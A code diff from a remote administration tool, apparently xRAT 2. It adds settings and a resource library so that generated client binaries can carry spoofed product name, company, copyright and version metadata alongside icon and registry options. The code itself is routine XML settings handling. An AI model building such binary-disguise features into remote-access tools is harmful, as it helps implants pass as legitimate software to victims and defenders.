using xRAT_2.Settings;
// Allgemeine Informationen über eine Assembly werden über die folgenden
// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern,
@ -30,3 +31,4 @@ using System.Runtime.InteropServices;
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("2.0.0.0")]
[assembly: AssemblyFileVersion("2.0.0.0")]
[assembly: AssemblyInformationalVersion("2.0.0.0 " + XMLSettings.VERSION)]

View File

@ -55,6 +55,9 @@
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
<Reference Include="Vestris.ResourceLib">
<HintPath>lib\Vestris.ResourceLib.dll</HintPath>
</Reference>
</ItemGroup>
<ItemGroup>
<Compile Include="Controls\MainMenuEx.cs">

View File

@ -38,6 +38,15 @@ namespace xRAT_2.Settings
root.AppendChild(doc.CreateElement("RegistryName"));
root.AppendChild(doc.CreateElement("AdminElevation")).InnerText = "False";
root.AppendChild(doc.CreateElement("ChangeIcon")).InnerText = "False";
root.AppendChild(doc.CreateElement("ChangeAsmInfo")).InnerText = "False";
root.AppendChild(doc.CreateElement("ProductName"));
root.AppendChild(doc.CreateElement("Description"));
root.AppendChild(doc.CreateElement("CompanyName"));
root.AppendChild(doc.CreateElement("Copyright"));
root.AppendChild(doc.CreateElement("Trademarks"));
root.AppendChild(doc.CreateElement("OriginalFilename"));
root.AppendChild(doc.CreateElement("ProductVersion"));
root.AppendChild(doc.CreateElement("FileVersion"));
doc.Save(settingsFilePath);
}
@ -72,13 +81,22 @@ namespace xRAT_2.Settings
{
try
{
XmlTextReader reader = new XmlTextReader(settingsFilePath);
XmlDocument doc = new XmlDocument();
doc.Load(reader);
reader.Close();
XmlNode oldNode;
XmlDocument doc = new XmlDocument();
using (var reader = new XmlTextReader(settingsFilePath))
{
doc.Load(reader);
}
XmlElement root = doc.DocumentElement;
oldNode = root.SelectSingleNode("/settings/" + pstrValueToRead);
oldNode = root.SelectSingleNode(@"/settings/" + pstrValueToRead);
if (oldNode == null) // create if not exist
{
oldNode = doc.SelectSingleNode("settings");
oldNode.AppendChild(doc.CreateElement(pstrValueToRead)).InnerText = pstrValueToWrite;
doc.Save(settingsFilePath);
return true;
}
oldNode.InnerText = pstrValueToWrite;
doc.Save(settingsFilePath);
return true;

View File

@ -54,6 +54,7 @@ namespace xRAT_2.Settings
{
return iterator.Current.Value;
}
return string.Empty;
}
catch
@ -66,13 +67,22 @@ namespace xRAT_2.Settings
{
try
{
XmlTextReader reader = new XmlTextReader(settingsFilePath);
XmlDocument doc = new XmlDocument();
doc.Load(reader);
reader.Close();
XmlNode oldNode;
XmlDocument doc = new XmlDocument();
using (var reader = new XmlTextReader(settingsFilePath))
{
doc.Load(reader);
}
XmlElement root = doc.DocumentElement;
oldNode = root.SelectSingleNode("/settings/" + pstrValueToRead);
oldNode = root.SelectSingleNode(@"/settings/" + pstrValueToRead);
if (oldNode == null) // create if not exist
{
oldNode = doc.SelectSingleNode("settings");
oldNode.AppendChild(doc.CreateElement(pstrValueToRead)).InnerText = pstrValueToWrite;
doc.Save(settingsFilePath);
return true;
}
oldNode.InnerText = pstrValueToWrite;
doc.Save(settingsFilePath);
return true;

Binary file not shown.